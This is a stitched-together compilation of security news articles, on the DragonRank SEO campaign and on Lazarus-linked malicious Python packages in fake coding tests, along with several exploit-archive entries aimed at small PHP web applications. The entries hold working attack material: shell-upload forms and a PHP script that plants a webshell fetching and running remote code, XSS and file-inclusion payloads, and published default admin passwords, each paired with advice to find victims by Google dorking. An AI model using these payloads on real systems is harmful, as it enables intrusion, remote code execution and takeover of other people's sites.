A "simplified Chinese-speaking actor" has been linked to a new campaign that has targeted multiple countries in Asia and Europe with the end goal of performing search engine optimization (SEO) rank manipulation.
The black hat SEO cluster has been codenamed DragonRank by Cisco Talos, with victimology footprint scattered across Thailand, India, Korea, Belgium, the Netherlands, and China.
"

A "simplified Chinese-speaking actor" has been linked to a new campaign that has targeted multiple countries in Asia and Europe with the end goal of performing search engine optimization (SEO) rank manipulation.

The black hat SEO cluster has been codenamed **DragonRank** by Cisco Talos, with victimology footprint scattered across Thailand, India, Korea, Belgium, the Netherlands, and China.

"DragonRank exploits targets' web application services to deploy a web shell and utilizes it to collect system information and launch malware such as PlugX and BadIIS, running various credential-harvesting utilities," security researcher Joey Chen said.

The attacks have led to compromises of 35 Internet Information Services (IIS) servers with the end goal of deploying the BadIIS malware, which was first documented by ESET in August 2021.

It's specifically designed to facilitate proxy ware and SEO fraud by turning the compromised IIS server into a relay point for malicious communications between its customers (i.e., other threat actors) and their victims.

On top of that, it can modify the content served to search engines to manipulate search engine algorithms and boost the ranking of other websites of interest to the attackers.

"One of the most surprising aspects of the investigation is how versatile IIS malware is, and the \[detection of\] SEO fraud criminal scheme, where malware is misused to manipulate search engine algorithms and help boost the reputation of third-party websites," security researcher Zuzana Hromcova told The Hacker News at the time.

The latest set of attacks highlighted by Talos spans a broad spectrum of industry verticals, including jewelry, media, research services, healthcare, video and television production, manufacturing, transportation, religious and spiritual organizations, IT services, international affairs, agriculture, sports, and feng shui.

The attack chains commence with taking advantage of known security flaws in web applications like phpMyAdmin and WordPress to drop the open-source ASPXspy web shell, which then acts as a conduit to introduce supplemental tools into the targets' environment.

The primary objective of the campaign is to compromise the IIS servers hosting corporate websites, abusing them to implant the BadIIS malware and effectively repurposing them as a launchpad for scam operations by utilizing keywords related to porn and sex.

Another significant aspect of the malware is its ability to masquerade as the Google search engine crawler in its User-Agent string when it relays the connection to the command-and-control (C2) server, thereby allowing it to bypass some website security measures.

"The threat actor engages in SEO manipulation by altering or exploiting search engine algorithms to improve a website's ranking in search results," Chen explained. "They conduct these attacks to drive traffic to malicious sites, increase the visibility of fraudulent content, or disrupt competitors by artificially inflating or deflating rankings."

One important way DragonRank distinguishes itself from other black hat SEO cybercrime groups is in the manner it attempts to breach additional servers within the target's network and maintain control over them using PlugX, a backdoor widely shared by Chinese threat actors, and various credential-harvesting programs such as Mimikatz, PrintNotifyPotato, BadPotato, and GodPotato.

Although the PlugX malware used in the attacks relies on DLL side-loading techniques, the loader DLL responsible for launching the encrypted payload uses the Windows Structured Exception Handling (SEH) mechanism in an attempt to ensure that the legitimate file (i.e., the binary susceptible to DLL side-loading) can load the PlugX without tripping any alarms.

Evidence unearthed by Talos points to the threat actor maintaining a presence on Telegram under the handle "tttseo" and the QQ instant message application to facilitate illegal business transactions with paying clients.

"These adversaries also offer seemingly quality customer service, tailoring promotional plans to best fit their clients' needs," Chen added.

"Customers can submit the keywords and websites they wish to promote, and DragonRank develops a strategy suited to these specifications. The group also specializes in targeting promotions to specific countries and languages, ensuring a customized and comprehensive approach to online marketing."

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DragonRank Black Hat SEO Campaign Targeting IIS Servers Across Asia and Europe

Queuing Simple Chatbot version 1.0 suffers from a remote shell upload vulnerability.

    =============================================================================================================================================| # Title     : Queuing Simple Chatbot 1.0 Remote File Upload Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/queuing.zip                                           |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This HTML page is designed to remotely upload PHP malicious files directly.    [+] Line 33 set url of target.[+] The path to upload the files : http://127.0.0.1/chatbot/uploads/[+] Save Code as html :<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Direct arbitrary File Upload</title></head><body>    <h2>Direct arbitrary File Upload</h2>    <form id="uploadForm">        <label for="fileInput">Select File:</label>        <input type="file" id="fileInput" name="fileInput" required><br><br>        <button type="button" onclick="uploadFile()">Upload File</button>    </form>    <script>        function uploadFile() {            const fileInput = document.getElementById('fileInput').files[0];            if (!fileInput) {                alert('Please select a file.');                return;            }            const formData = new FormData();            formData.append('name', '<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>');            formData.append('img', fileInput);            console.log("(+) Uploading file...");            fetch('http://127.0.0.1/chatbot/classes/SystemSettings.php?f=update_settings', { // Replace with your upload URL                method: 'POST',                body: formData            })            .then(response => response.text())            .then(data => {                if (data === '1') {                    console.log("(+) File upload seems to have been successful!");                } else {                    console.log("(-) Oh no, the file upload seems to have failed!");                }            })            .catch(error => console.error("(-) Error during file upload:", error));        }    </script></body></html>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Queuing Simple Chatbot 1.0 Shell Upload

Profiling System version 1.0 suffers from a remote shell upload vulnerability.

    =============================================================================================================================================| # Title     : Profiling System 1.0 code injection Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html                                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload injects php code of your choice into an SHELL.php file. [+] Line 26    Line 35  [+] change the path of the script folder.[+] save payload as poc.php[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1[+] payload : <?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(        'upload' => '',        'per_file' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),        'per_name' => 'inouva',        'file_name' => '123',        'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/ProfilingSystem/add_file_query.php");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/ProfilingSystem/uploads/$file_name\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Profiling System 1.0 Shell Upload

Passion Responsive Blogging version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Passion Responsive Blogging 1.0 XSS Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/responsive-blog-site-in-php-with-source-code/                                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : single.php?id=12'"()%26%25<acx><ScRiPt >prompt(982273)</ScRiPt>[+] https://127.0.0.1com/bmacblog/single.php?id=12%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(982273)%3C/ScRiPt%3EGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Passion Responsive Blogging 1.0 Cross Site Scripting

Online Survey System version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

Posted Sep 11, 2024

Authored by indoushka

Online Survey System version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

tags | exploit, remote, vulnerability, xss, file inclusion

SHA-256 | 0573d4aa4fad74ba21dfae8c95d8a0ef8922ce6bbbf5c65fcd1a8b98424e3d9e

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**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

    =============================================================================================================================================| # Title     : Online Survey System 1.0 XSS Vulnerability                                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-survey-system_0.zip                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /index.php?page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg[+] http://127.0.0.1/survey/index.php?page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpgGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion

Online Birth Certificate System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Online Birth Certificate System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/                                        |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/obcs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Online Birth Certificate System 1.0 Insecure Settings

Medical Card Generations System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Medical Card Generations System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/medical-card-generation-system-using-php-and-mysql/                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/mcgs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Medical Card Generations System 1.0 Insecure Settings

Emergency Ambulance Hiring Portal version 1.0 suffer from a WYSIWYG code injection vulnerability.

=============================================================================================================================================  
| # Title     : Emergency Ambulance Hiring Portal 1.0 (WYSIWYG) code injection Vulnerability                                                |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/                                               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Part 01 : about-us.php

[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file /hms/admin/about-us.php . 

   [+] Line 2  :  Make sure to include your database connection here

[+] Line 44 :  Send the form data using fetch API (Set your target url)

[+] save payload as poc.php in your localhost path .

[+] payload : 

<?php  
include('http://127.0.0.1/eahp/admin/includes/dbconnection.php'); // Make sure to include your database connection here

if (isset($_POST['submit'])) {  
    $pagetitle = $_POST['pagetitle'];  
    $pagedes = $con->real_escape_string($_POST['pagedes']);  
    $query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes' WHERE PageType='aboutus'");

    if ($query) {  
        echo '<script>alert("About Us has been updated.")</script>';  
    } else {  
        echo '<script>alert("Something Went Wrong. Please try again.")</script>';  
    }  
    exit;  
}  
?>

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>indoushka | Update About Us Content</title>  
      
    <script src="http://js.nicedit.com/nicEdit-latest.js" type="text/javascript"></script>  
    <script type="text/javascript">  
        // Apply NicEdit to all text areas when the DOM is loaded  
        bkLib.onDomLoaded(nicEditors.allTextAreas);

        // Function to handle form submission using JavaScript  
        function submitForm(event) {  
            event.preventDefault(); // Prevent default form submission

            const pagetitle = document.getElementById('pagetitle').value;  
            const pagedes = nicEditors.findEditor('pagedes').getContent(); // Get the NicEdit content

            // Prepare the form data to be sent  
            const formData = new FormData();  
            formData.append('pagetitle', pagetitle);  
            formData.append('pagedes', pagedes);  
            formData.append('submit', true);

            // Send the form data using fetch API  
            fetch('http://127.0.0.1/eahp/admin/about-us.php', {  
                method: 'POST',  
                body: formData,  
            })  
            .then(response => response.text())  
            .then(data => {  
                alert('About Us content has been updated successfully.');  
                console.log(data); // Handle the response from the server  
            })  
            .catch(error => {  
                console.error('Error:', error);  
            });  
        }  
    </script>  
    <style>  
        /* Center the form container */  
        .editor-container {  
            max-width: 800px;  
            margin: 0 auto; /* Center horizontally */  
            padding: 20px;  
            text-align: center; /* Center the content inside */  
        }

        /* Ensure the textarea takes the full width */  
        #pagedes {  
            width: 100%;  
            height: 300px;  
            margin: 0 auto;  
        }  
    </style>  
</head>  
<body>  
    <div id="app">  
        <div class="app-content">  
            <div class="main-content">  
                <div class="wrap-content container" id="container">  
                      
                    <section id="page-title">  
                        <div class="row">  
                            <div class="col-sm-8">  
                                <h1 class="mainTitle">Update the About Us Content</h1>  
                            </div>

                                                          </li>  
                            </ol>  
                        </div>  
                    </section>  
                      
                    <div class="container-fluid container-fullw bg-white">  
                        <div class="row">  
                            <div class="col-md-12">  
                                  
                                <div class="editor-container">  
                                    <form class="forms-sample" method="post" onsubmit="submitForm(event);">  
                                        <div class="form-group">  
                                            <label for="pagetitle">Page Title</label>  
                                            <input id="pagetitle" name="pagetitle" type="text" class="form-control" required>  
                                        </div>  
                                        <div class="form-group">  
                                            <label for="pagedes">Page Description</label>  
                                              
                                            <textarea class="form-control" name="pagedes" id="pagedes" rows="12"></textarea>  
                                        </div>  
                                        <button type="submit" class="btn btn-primary mr-2" name="submit">Submit</button>  
                                    </form>  
                                </div>  
                            </div>  
                        </div>  
                    </div>  
                      
                </div>  
            </div>  
        </div>  
    </div>  
      
</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection

Printable Staff ID Card Creator System version 1.0 suffers from an insecure direct object reference vulnerability.

=============================================================================================================================================  
| # Title     : printable staff id card creator system 1.0 idor Vulnerability                                                               |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.campcodes.com/downloads/printable-staff-id-card-creator-system-source-code/?wpdmdl=6749&refresh=66bbc00367bf91723580419               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Insecure direct object reference: Suffering from an insecure direct object reference that allows users to upload and execute remote files. .

[+] Line : 8 Set your Target

[+] Save As poc.html

[+] payload :

<<div class="modal-content" style="font-size: 14px; font-family: Times New Roman;color:black;">  
      <div class="modal-header" style="background:#222d32">  
        <button type="button" class="close" data-dismiss="modal">×</button>  
        <h4 class="modal-title" style="font-weight: bold;color: #F0F0F0"><center>  
          SYSTEM INFORMATION INITIALISATION  
          </center></h4>  
      </div>  
        <form method="post" action="http://127.0.0.1/Staff_registration/upload.php" enctype="multipart/form-data">            

      <div class="modal-body">           
        <center>   
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp;&nbsp;Org Name:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgname"></span></p>  
              <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Phone:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgphone"></span></p>  
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Email:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgemail"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp;Website:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgwebsite"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">Active Year:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgyear"></span></p>  
                  Attach Organisation Logo:(<h7 style="color:red">Make sure it is a transparent image</h7>)<input name="filed" type="file" id="filed">  
                                      <input type="hidden" name="page" value="admin.php">                                                                      
         </center>  
      </div>  
      <div class="modal-footer">  
        <input type="submit" class="btn btn-success" value="Finish" id="addmember" name="orginitial"> &nbsp;  
        <button type="button" class="btn btn-success" data-dismiss="modal">Close</button>  
      </div>  
      </form></div>

    Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Printable Staff ID Card Creator System 1.0 Insecure Direct Object Reference

Cybersecurity researchers have uncovered a new set of malicious Python packages that target software developers under the guise of coding assessments.
"The new samples were tracked to GitHub projects that have been linked to previous, targeted attacks in which developers are lured using fake job interviews," ReversingLabs researcher Karlo Zanki said.
The activity has been assessed to be part of

Malware / Software Development

Cybersecurity researchers have uncovered a new set of malicious Python packages that target software developers under the guise of coding assessments.

"The new samples were tracked to GitHub projects that have been linked to previous, targeted attacks in which developers are lured using fake job interviews," ReversingLabs researcher Karlo Zanki said.

The activity has been assessed to be part of an ongoing campaign dubbed VMConnect that first came to light in August 2023. There are indications that it is the handiwork of the North Korea-backed Lazarus Group.

The use of job interviews as an infection vector has been adopted widely by North Korean threat actors, either approaching unsuspecting developers on sites such as LinkedIn or tricking them into downloading rogue packages as part of a purported skills test.

These packages, for their part, have been published directly on public repositories like npm and PyPI, or hosted on GitHub repositories under their control.

ReversingLabs said it identified malicious code embedded within modified versions of legitimate PyPI libraries such as pyperclip and pyrebase.

"The malicious code is present in both the \_\_init\_\_.py file and its corresponding compiled Python file (PYC) inside the \_\_pycache\_\_ directory of respective modules," Zanki said.

It's implemented in the form of a Base64-encoded string that obscures a downloader function that establishes contact with a command-and-control (C2) server in order to execute commands received as a response.

In one instance of the coding assignment identified by the software supply chain firm, the threat actors sought to create a false sense of urgency by requiring job seekers to build a Python project shared in the form of a ZIP file within five minutes and find and fix a coding flaw in the next 15 minutes.

This makes it "more likely that he or she would execute the package without performing any type of security or even source code review first," Zanki said, adding "that ensures the malicious actors behind this campaign that the embedded malware would be executed on the developer's system."

Some of the aforementioned tests claimed to be a technical interview for financial institutions like Capital One and Rookery Capital Limited, underscoring how the threat actors are impersonating legitimate companies in the sector to pull off the operation.

It's currently not clear how widespread these campaigns are, although prospective targets are scouted and contacted using LinkedIn, as recently also highlighted by Google-owned Mandiant.

"After an initial chat conversation, the attacker sent a ZIP file that contained COVERTCATCH malware disguised as a Python coding challenge, which compromised the user's macOS system by downloading a second-stage malware that persisted via Launch Agents and Launch Daemons," the company said.

The development comes as cybersecurity company Genians revealed that the North Korean threat actor codenamed Konni is intensifying its attacks against Russia and South Korea by employing spear-phishing lures that lead to the deployment of AsyncRAT, with overlaps identified with a campaign codenamed CLOUD#REVERSER (aka puNK-002).

Some of these attacks also entail the propagation of a new malware called CURKON, a Windows shortcut (LNK) file that serves as a downloader for an AutoIt version of Lilith RAT. The activity has been linked to a sub-cluster tracked as puNK-003, per S2W.

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Tag

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